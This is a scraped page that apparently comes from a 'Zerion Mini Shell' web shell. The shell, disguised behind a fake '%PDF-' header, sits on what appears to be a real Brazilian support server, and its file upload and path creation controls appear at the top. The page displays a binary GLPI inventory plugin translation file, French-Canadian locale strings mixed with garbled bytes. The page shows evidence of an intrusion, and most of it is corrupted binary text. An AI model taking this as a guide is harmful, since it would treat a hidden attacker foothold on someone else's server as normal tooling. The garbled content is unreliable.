%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/suporte.iigd.com.br/plugins/glpiinventory/locales/
Upload File :
Create Path :
Current File : //var/www/projetos/suporte.iigd.com.br/plugins/glpiinventory/locales/fr_CA.mo

����<�!
�!�!�!�!�!�!�!

"
"#"	*"4"	R"\"e"r"
�"�"�"4�"
�"%�"#"%#H#Z#"i#�#�#�#�#�#�#*$1$8$T$`$p$	�$�$
�$�$
�$	�$	�$�$
�$
�$�$
%%0%
H%S%	h%r%�%
�%�%�%�%�%�%
�%�%�%�%
&/&M&U& m&�&�&�&�&�&-�&' '
H'V'q'%�'�'H�'P(S(#d(�(;�(/�(8�(c2)
�)�)B�)�)�)1*D*\*.c*�*�*�*-�*�*++	0+:+K+`+i+z+�+
�+
�+$�+/�+,, ,,,L,R,[,
b,m,~,�,�,�,�,�,�,�,�,�,--.-H-`-i-o-~-�-	�-�-�-�-�-�-
�-�-.".9.T.Y.a.w.�.�.0�."�.	�.�./A/_/f/Zm/�/
�/�/000,010	C0M0_0{0&0�0�0�0�0�0111,1
D1-R11�1�1	�1�1�1�1�122
 2.262H2M2f2k2}2�2�2�2�2
�2
�2�23  3A3S3f3s3-�3#�3"�3444+474;4>4Q4
e4p4%t4�4�4�4�4�4�4�455"525	D5N5	Z5d5y5�5�5
�5�5�5�5�5	�5�5�5�5
6686N6e6�6$�6�6�6	�6�6�6�67).7X7^7f7�7�7�7�7�7�7�7�78 +8L8f8!u8�8�8�8�8�8
�8�8
�8
9
9%919
=98K9�9
�9�9�9�9�9��9at:.�:.;,4;Da;<�;-�;D<$V<@{<@�<"�< =	/=9=I=L=Y=(q=�= �=
�=
�=	�=�=�=�=#>(>=>'P>$x>�>"�>4�>??4?@?]?c?k?o??�?�?�?�?P�?@(@Fi@	�@�@�@�@
�@�@�@AAAA	!A+A/A6A;ADAUAaAmA	|A#�A�A
�A�A	�A�A
�A��A�C�C"�C�C�C�C�CD
DD$D'DDlD~D�D�D�D�D�D@�D2E:BE}E-�E�E�E,�EF(0F&YF!�F�F�F7�F
�F2G6GFG(`G
�G�G�G�G�G
�G	�G�GH
HH1HAHWHuH�H�H�H�H
�H�H�H�H�H$I8IGIPIdI}I8�I�I!�I(�I J6JLJ"bJ�JF�J*�J
K"K+?KDkK�Kb�K`L{L;�L�LP�LE&M>lM��MANMNGYN�N'�N?�N)"O	LO<VO&�O0�O�OI�O=PSPePP�P�P�P�P�P�PQ
 Q5+Q<aQ�Q�Q�Q5�QR	RR
R%R?R]RfRrR-�R�R�R�R�R�RS!S =S ^SS�S�S�S�S�S�STTT0TET%UT9{T3�T&�TU	U'U@UVU\UEbU=�U�U	�U�UX	VbVjVyvV�VW!%W	GWQW+WW�W�W
�W�W+�W�W$X3&X$ZX?X�X�X�X�X�X'Y.Y5IY7Y�Y	�Y�Y�Y�Y�YZ'Z.ZAZHZ	aZ!kZ�Z�Z�Z�Z�Z�Z[[[,[$B['g[�[�[�[�[6�[,"\)O\y\�\�\�\�\�\&�\�\�\
]8]	J]T]m]�]�]�]�]�]�]^^*^
9^G^ P^q^�^�^�^�^�^�^6�^	�^__-_ H_.i_'�_.�_4�_%$`,J`#w`
�`�`�`(�`�`$a81ajara'{a"�a�a�a�a&�a&b?b_b-qb)�b$�b�b,c0cKcicpc�c�c	�c�c�c�c�c
�c�c|d�d�d#�d�d�d�d�e��e<Af7~f7�fj�fRYg3�gP�g.1hP`h_�h8iJi\imi�i�i!�i.�i�i)�ij
.j	<jFjMjbj<zj$�j�j0�jB,k.okK�kt�k_l/yl�l$�l�l�l�l�lm&
m4m	Tm^mgrmK�mX&nn	�n�n$�n�n�noooo(o	/o9o=oLoSoeo1�o"�o�o
�o0p3p
Qp_pgp�p�p�!G��:�0G�0#�qM,��'�s��hml��k|q@P�WI,y��z��w�X*ej~d��6��&XZf��L�����tn	NO�Fl�b=�8�ce�dwt8�"��^=���xHk�p&1g?'��`���B��4[5Orx_`a+2�DB��SHC�rME}�$��g(�5�\��[)VA�7j�->����<�+��
{Ku?��%���*<����>D��
��J�N�!��b A��7�1�zLv�{��4���Yo|3 �Um��p$�i��
~�R\WRZ.K-��V�%U/���9���	���i�F�]S�T�)��^�/����J�"TE��3��
v:�.2�Q9#6���o}CY�(��hs_]�a�;�@f�P�n;�y�c�QuI, actors: AbortAbort - Retry - IgnoreActionAction labelActionsActivation (by default)Actor ItemActor TypeActorsAdd a jobAdd a target for self-serviceAdd groupAdd taskAdd the itemAdd to static groupAfter actionsAfter downloadAgentAgent communication error, impossible to start agentAgent portAgent replied with data to the serverAgent stopped/crashedAgent wakeup interval (in minutes)Agents managementAgents modulesAlert displayed, no input requiredAlert duration exceededAlert timeout exceededAsset skipped during importAssociated SNMP credentialsAudit labelAuditsAuthentication for remote devices (VMware)Bad IPBad event sent to the agentBase folderBefore downloadBehaviorBehaviorsBehaviorsButton abortButton cancelButton continueButton ignoreButton noButton okButton retryButton tryButton yesBy order of priorityCSV importCache informationsCancel - Try - ContinueCancel jobCancel modificationsCancelledChange the statusChecksChecksum SHA2Checksum SHA512ChooseClassClean agentsClean unused filesClear listCollectCollect dataCollect informationCollect managementCollect module has been disabled for this agentCommandCommand output containsCommand output does not containsCommand to executeCommunication modeComputer InventoryComputer entity rulesComputer informationComputers imported successfully from CSV fileComputers not inventoried since xx daysConfigurationConfigure SNMP credentialsConfirm the final deletion ?Continue job with no user interactionCopyCreate a new Task with discovery module and the agent defined previouslyCreate a new Task with network inventory module and the agent defined previouslyCreate directoryCreated a deployment job, package: DataDefine IP Ranges of your network + related SNMP credentialsDefine an agent allowed to discover the networkDefine an agent allowed to inventory the network by SNMPDefine rules for import : merge and create new devices (CAUTION: same rules for computer inventory)DefinitionDeleteDelete agents that have not contacted the server since "xxx" days.Delete directoryDelete selected itemsDelete successful on demand tasks after (in days)Delete tasks logs afterDeployDeploy module has been disabled for this agentDeploy packages on demandDeployment job, package: DetailDevice no longer defined in definition of jobDevices importedDevices linkedDevices not importedDirectoryDirectory existsDirectory is missingDisabledDiscovery statusDisk or directoryDon't wakeupDynamic groupESX/VMWareEdit impossible, this task is activeEnable deploy on demand for the following groupEnd of IP rangeEnd timeEnding dateEquipment import and link rulesErrorError(s)Error:ExceptionsExecution checksExecution timeslotExportExtra-debugFailed to copy fileFailed to write file to diskFeaturesFileFile existsFile is missingFile missingFile saved!File size is equal toFile size is greater thanFile size is lower thanFilenameFilesFiles downloadFiles preparationFilterFiltersFind fileFinishedFinished tasksFolderFolder recursiveForce startForce the endFound WMIFound WMIsFound entryFound entriesFound fileFound filesFree space is greater thanFromGeneralGeneral configurationGroups of computersGuideHiveI'm not on this computer: wakeup from the serverI'm on this computer: local wakeupIP RangesIP range configurationIf not successfulIf you have devices not typed, import them from unmanaged devicesIgnoreImportImport a list of computers from a CSV file (the first column must contain the computer ID)Import agent XML fileImport deniedImpossible to read the CSV fileIn errorInameInclude old jobsInfoInteraction labelInventoryInventory startedJSON package representationJobJob available for next execution at %sJob cancelled by the user %1$sJob executionsJob postponed by the user %1$sKeyLast inventoryLimitLocal inventoryManage packagesMatch mirrors to agentsMax file sizeMaximum number of agents to wake up in a taskMaximum number of retry reached: force deploymentMenuMinute(s)MioMirror server addressMirror serversMissing a temporary folderModification DeniedModuleModule methodMonikerMonitoring / LogsMoveMultiple users connectedNameNetwork InventoryNetwork discoveryNetwork inventoryNetwork inventory (SNMP)Network inventory statusNetwork optionsNetworkingNew actionNo active sessionNo file was uploadedNo packages available to installNo user connectedNon sentitive caseNot done yetNumber of agents to wake upNumber of days (minimum) since last inventoryNumber of days since last inventoryNumber of output lines to retrieveNumber per secondOKOK (asynchronous)OK - CancelOffOkOn actions failureOn download failureOrder listP2PPHP extension stopped the file uploadPackagePackage actionsPackage deployPackage deploymentPackage exported inPackage managementPackages to importPathPath not foundPath to the keyPath to the valuePath/filePeriodicityPostponedPreparation timeslotPrepare for installPreparedProgressPropertiesPropertyPurgeQuestionRe-prepare successful jobsRecursiveRegexRegistryRegistry key existsRegistry key missingRegistry value equals toRegistry value existsRegistry value missingRegistry value not equals toRemote device inventoryRemote devices to inventory (VMware)Restart jobRetryRetry #%dRetry - CancelRetry job laterReturn code is equal toReturn code is not equal toRoot folder for sending files from serverRulesRunningSHA-512 hash value matchesSHA-512 hash value mismatchSNMP credentialsSNMP models creationSNMP timeoutSSL-only for agentSchedule endSchedule startScheduled dateSee all informations of taskSelect packages you want installSelect the file on serverSentitive caseServer has sent data to the agentSeveral active sessionsShow/Hide detailsSizeSoftware deploymentStart of IP rangeStart timeStartedStarting dateStatic groupSuccessfulTarget ItemTarget TypeTarget a taskTarget for deploy on demandTargets for deploy on demandTargetsTaskTasksTask execution statesTask has been disabledTask managementTasksThe agent is requesting a configuration that has already been sent to him by the server. It is more likely that the agent is subject to a critical error.The following task is running with this packageThe following tasks are running with this packageThe items that should be applied for this job.The items that should carry out those targets.The modified JSON contained a syntax error :The selected task already has a deployment job for another package: The task has been deactivated after preparation of this job.The uploaded file was only partially uploadedThis agent does not belong anymore in the actors defined in the job.This is an on demand deployment taskThis job can not be executed anymore due to the task's schedule.This job can not be executed anymore due to the task's timeslot.This task is active. delete deniedThreads numberTime slotTime slot entryToTo inventoryTotal discovery devicesTransfer error: the file size is too bigTypeType of registry value equals toType of valueUncompressUnique idUnitUnused fileUpdate the itemUpdated a deployment job, package: Upload from computerUpload from serverUse this GLPI server as a mirror serverUser %1$s agreed to continue the jobUser canceled the jobUser interactionUser interactionsUser interaction templateUser interaction templatesUser interactionsUser postponed the jobVMware hostVMware host remote inventoryValueVersionWMIWake agents upsWarning:Windows registry contentWindows system alert (WTS)Yes - NoYes - No - CancelYou must choose a task and a package to target a task with a deployment package.`Network Discovery`, used to discover the devices on the network`Network Inventory`, used to complete inventory the discovered devicesabort jobcontinueday(s)deploy on demand taskdevices founddevices querieddragexecfilenamehour(s)monikerotherwisep2ppassedpathpathfilerefresh intervalrefresh jobreport inforeport warningretentionreturn codes saved for this commandskip jobuncompressunknownwith bothwith entitywith locationProject-Id-Version: PACKAGE VERSION
Report-Msgid-Bugs-To: 
PO-Revision-Date: 2021-12-15 15:19+0000
Last-Translator: Cédric Anne, 2021
Language-Team: French (Canada) (https://app.transifex.com/teclib/teams/28042/fr_CA/)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Language: fr_CA
Plural-Forms: nplurals=3; plural=(n == 0 || n == 1) ? 0 : n != 0 && n % 1000000 == 0 ? 1 : 2;
, acteurs :InterrompreInterrompre - Réessayer - IgnorerActionLibellé de l'actionActionsActivation (par défaut)ActeurType d'acteurActeursAjouter une tâche d'exécutionAjouter une cible pour le libre-serviceAjouter un groupeAjouter une tâcheAjouter un objetAjouter au groupe statiqueAprès les actionsAprès le téléchargementAgentErreur de communication de l'agent, impossible de lancer l'agentPort de l'agentL'agent a répondu en transmettant des données au serveurAgent arrêté/plantéIntervalle de réveil des agents (en minutes)Gestion des agentsModules des agentsAlerte affichée, aucune interaction requiseDurée d'alerte dépasséeDélai d'affichage de l'alerte dépasséMatériel ignoré durant l'importationAuthentifications SNMP associéesLibellé de l'auditAuditsAuthentification pour les dispositifs distants (VMware)IP incorrecteUn événement invalide a été envoyé à l'agentDossier de baseAvant le téléchargementComportementComportementsComportementsComportementsBouton interrompreBouton annulerBouton continuerBouton ignorerBouton nonBouton okBouton réessayerBouton essayerBouton ouiPar ordre de prioritéImportation CSVInformations en cacheAnnuler - Essayer - ContinuerAnnuler une tâche d'exécutionAnnuler les modificationsAnnuléModifier le statutAuditsChecksum SHA2Checksum SHA512ChoisirClasseSupprimer les agentsSupprimer les fichiers non utilisésVider la listeCollecteCollecte de donnéeInformations de collecteGestion des collectesLe module de collecte a été désactivé pour cet agentCommandeLa sortie de la commande contientLa sortie de la commande ne contient pasCommande à exécuterMode de communicationInventaire OrdinateurRègles sur l'entité "ordinateur"Information ordinateurLes ordinateurs ont été importés avec succès depuis la fichier CSVMachines non inventoriées depuis xx joursConfigurationConfigurer l'authentification SNMPConfirmez-vous la suppression définitive ?Continuer la tâche d'exécution sans interaction avec l'utilisateurCopierCréer une nouvelle tâche avec le module de découverte réseau et l'agent défini précédemmentCréer une nouvelle tâche avec le module d'inventaire réseau et l'agent défini précédemmentCréer un répertoireCréer une tâche d'exécution de déploiement, paquetage :DonnéeDéfinir les plages IP de votre réseau et les authentifications SNMP associéesDéfinissez un agent autorisé à réaliser de la découverte réseauDéfinir un agent autorisé à inventorier le réseau via SNMPDéfinissez les règles pour l'importation : fusionner et créer un nouvel ordinateur (ATTENTION: règles identiques pour l'inventaire d'ordinateur) PérimètreSuppressionEffacer les agents qui n'ont pas contacté le serveur depuis xxx jours.Supprimer un répertoireSupprimer les éléments sélectionnésSupprimer les tâches à la demandes réussis après (en jours)Suprimer les journeaux des tâches aprèsDéployerLe module de déploiement a été désactivé pour cet agentDéployer des paquetages à la demandeTâche d'exécution de déploiement, paquetage :DétailDispositif non défini dans la paramétrisation de la tâche d'exécutionDispositifs importésDispositifs liésDispositifs non importésRépertoireLe répertoire existeLe répertoire est manquantDésactivéEtat des découvertesDisque ou répertoireNe pas réveiller l'agentGroupe dynamiqueESX/VMWareImpossible d'éditer cette tâche car elle est activeActiver le déploiement à la demande pour le groupe suivantFin de la plage IPHeure de finDate de finRègles d'importation des dispositifs et des liaisonsErreurErreur(s)Erreur :ExceptionsExécution des contrôlesCréneau horaire d'exécutionExporterExtra-debugÉchec de la copie du fichierImpossible d'écrire le fichier sur le disqueFonctionnalitésFichierLe fichier existeFichier manquantFichier manquantFichier sauvegardé !Taille du fichier égale àTaille du fichier supérieure àTaille du fichier inférieure àNom du fichierFichiersTéléchargement de fichiersPréparation des fichiersFiltreFiltresFiltresRecherche de fichierTerminéTâches terminéesDossierDossier récursifForcer le démarrageForcer l'arrêtWMI trouvéWMI trouvésWMI trouvésRésultat trouvéRésultats trouvésRésultats trouvésFichier trouvéFichiers trouvésFichiers trouvésL'espace disponible est supérieure àProvenant deGénéralConfiguration généraleGroupes d'ordinateursGuideRucheJe ne suis pas sur cet ordinateur, faire un réveil depuis le serveurJe suis sur cet ordinateur, faire un réveil local de l'agentPlage IPPlages IPEn cas d'échecS'il y a des équipements non typés, à importer à partir des équipements non-gérésIgnorerImportationImporter une liste d'ordinateurs depuis un fichier CSV (la première colonne doit contenir l'identifiant de l'ordinateur)Importer un fichier XML d'agentImportation refuséeImpossible de lire le fichier CSVEn erreurInameInclure les anciennes tâches d'exécution InfoLibellé de l'interactionInventaireInventaire débutéReprésentation du paquetage au format JSONTâche d'exécutionProchaine exécution du script à %sTâche d'exécution annulée par l'utilisateur %1$sExécutions des tâches d'exécutionLa tâche d'exécution a été reportée par l'utilisateur %1$sCléDernier inventaireLimiteInventaire localGestion des paquetagesFaire correspondre un miroir aux agentsTaille maximale de fichierNombre maximum d'agents à réveiller dans une tâcheNombre maximum d'essai atteint : forcer le déploiementMenuMinute(s)MioAdresse du serveur miroirServeurs miroirsDossier temporaire manquantModification refuséeModuleMéthode du moduleSurnomSurveillance / JourneauxDéplacerPlusieurs utilisateurs connectésNomInventaire RéseauDécouverte réseauInventaire réseauInventaire réseau (SNMP)Statut de l'inventaire réseauOptions réseauRéseauNouvelle actionPas de session activeAucun fichier n'a été téléverséIl n'y a pas de paquetages à installerPas d'utilisateur connectéNon sensible à la casseÀ faireNombre d'agents à réveillerNombre de jours (minimum) depuis le dernier inventaireNombre de jours depuis le dernier inventaireNombre de lignes de sortie à récupérerNombre par secondeOKOk (asynchrone)OK - AnnulerArrêtéOkA l'échec de l'exécution des actionsA l'échec du téléchargementTrier la listeP2PL'extension PHP a arrêté le téléversement de fichierPaquetageActions sur le paquetageDéploiement de paquetageDéploiement du paquetagePaquetage exporté dansGestion de paquetagesPaquetages à importerCheminChemin introuvableChemin vers la cléChemin vers la valeurChemin/fichierPériodicitéReportéCréneau horaire de préparationPréparer l'installationPrêtProgressionPropriétésPropriétéPurgeQuestionPréparer de nouveau les tâches d'exécution réussisRécursifExpression régulièreBase de registreLa clé de registre existeLa clé de registre n'existe pasLa valeur de la clé de registre est égale àLa valeur de la clé de registre existeLa valeur de la clé de registre est manquanteLa valeur de la clé de registre n'est pas égale àInventaire du dispositif à distance Dispositifs distants à inventorier (VMware)Redémarrer une tâche d'exécutionRéessayerNouvel essai #%dRéessayer - AnnulerRéessayer la tâche d'exécution aprèsLe code de retour est Le code de retour n'est pas égal àDossier racine pour téléverser des fichiers du serveurRèglesEn coursLa valeur du hash SHA-512 est identiqueLa valeur du hash SHA-512 diffèreCredentials SNMPCréation de modèles SNMPTimeout SNMPSSL seulement, pour l'agent uniquementHeure de fin programméeHeure de démarrage programméeDate d'exécutionVoir les informations complètes de la tâcheSélectionner les paquetages à installerChoisissez le fichier sur le serveurSensible à la casseLe serveur a envoyé les données à l'agentPlusieurs sessions activesMontre/Dissimule les détailsTailleDéploiement de logicielDébut de la plage IPHeure de débutDémarréDate de départGroupe statiqueSuccèsCibleType de cibleCibler une tâcheCible pour le déploiement à la demandeCibles pour le déploiement à la demandeCibles pour le déploiement à la demandeCiblesTâchesTâchesTâchesÉtat de l’exécution des tâchesLa tâche a été désactivéeGestion des tâchesTâchesL'agent demande une configuration qui lui a déjà été envoyée par le serveur. L'agent est susceptible d'avoir rencontré une erreur critiqueLes tâches suivantes sont éxécutées avec ce paquetageLes tâches suivantes sont éxécutées avec ce paquetageLes tâches suivantes sont éxécutées avec ce paquetageCes éléments s'appliqueront pour cette tâche d'exécutionLes éléments qui doivent prendre en charge ces ciblesLe JSON modifié contient une erreur de syntaxe : <br/>la tâche sélectionnée possède déjà une tâche d'exécution de déploiement pour un autre paquetage :La tâche a été désactivée après la préparation de cette tâche d'exécutionLe fichier n'a été que partiellement téléverséL'agent n'appartient plus à la liste des acteurs pour cette tâche d'exécutionC'est une tâche de déploiement à la demandeCette tâche ne peut pas être exécuté à cause de son calendrier d'exécutionCette tâche ne peut pas être exécuté à cause du créneau horaire de la tâche d'exécutionImpossible de supprimer cette tâche car elle est activeNombre de threadsCréneau horaireEntrée d'un créneau horaireVersÀ inventorierTotal des dispositifs découvertsErreur de transfert : Le fichier est trop grosTypeLe type de valeur de la clé est égal àType de valeurDécompresserid uniqueUnitéFichier non utiliséMise à jour de l'objetTâche d'exécution de déploiement mis à jour, paquetage :Téléverser depuis votre ordinateurTéléverser depuis le serveurUtiliser ce serveur GLPI comme un serveur miroirL'utilisateur %1$s a accepté de poursuivre la tâche d'exécutionL'utilisateur a annulé la tâche d'exécutionInteraction utilisateurInteractions utilisateursInteractions utilisateursGabarits d’interactions utilisateursGabarits d’interactions utilisateursGabarits d’interactions utilisateursInteractions utilisateursL'utilisateur a reporté la tâche d'exécutionHôte VMwareInventaire distant des hôtes VMwareValeurVersionWMIRéveiller les agentsAlerte :Contenu de la base de registre WindowsSystème d'alerte Windows (WTS)Oui - NonOui - Non - AnnulerVous devez choisir une tâche et un paquetage pour cibler une tâche avec un déploiement de paquetage.`Découverte réseau`, utilisé pour découvrir les équipements du réseau`Inventaire réseau`, utilisé pour compléter l'inventaire des équipements découvertsarrêter la tâche d'exécutioncontinuerjour(s)tâche de déploiement à la demandedispositifs trouvésdispositifs interrogésprendreexecnom du fichierheure(s)surnomautrementp2ptest vérifiécheminchemin du fichierIntervalle de rafraîchissementRafraîchir l'affichage d'une tâche d'exécutionrapporter un message d'informationrapporter les avertissementsrétentionretourne les code sauvegardés de cette commandesauter la tâche d'exécutiondécompresserinconnuen se basant sur les deuxen se basant sur l'entitéen se basant sur le lieu

Zerion Mini Shell 1.0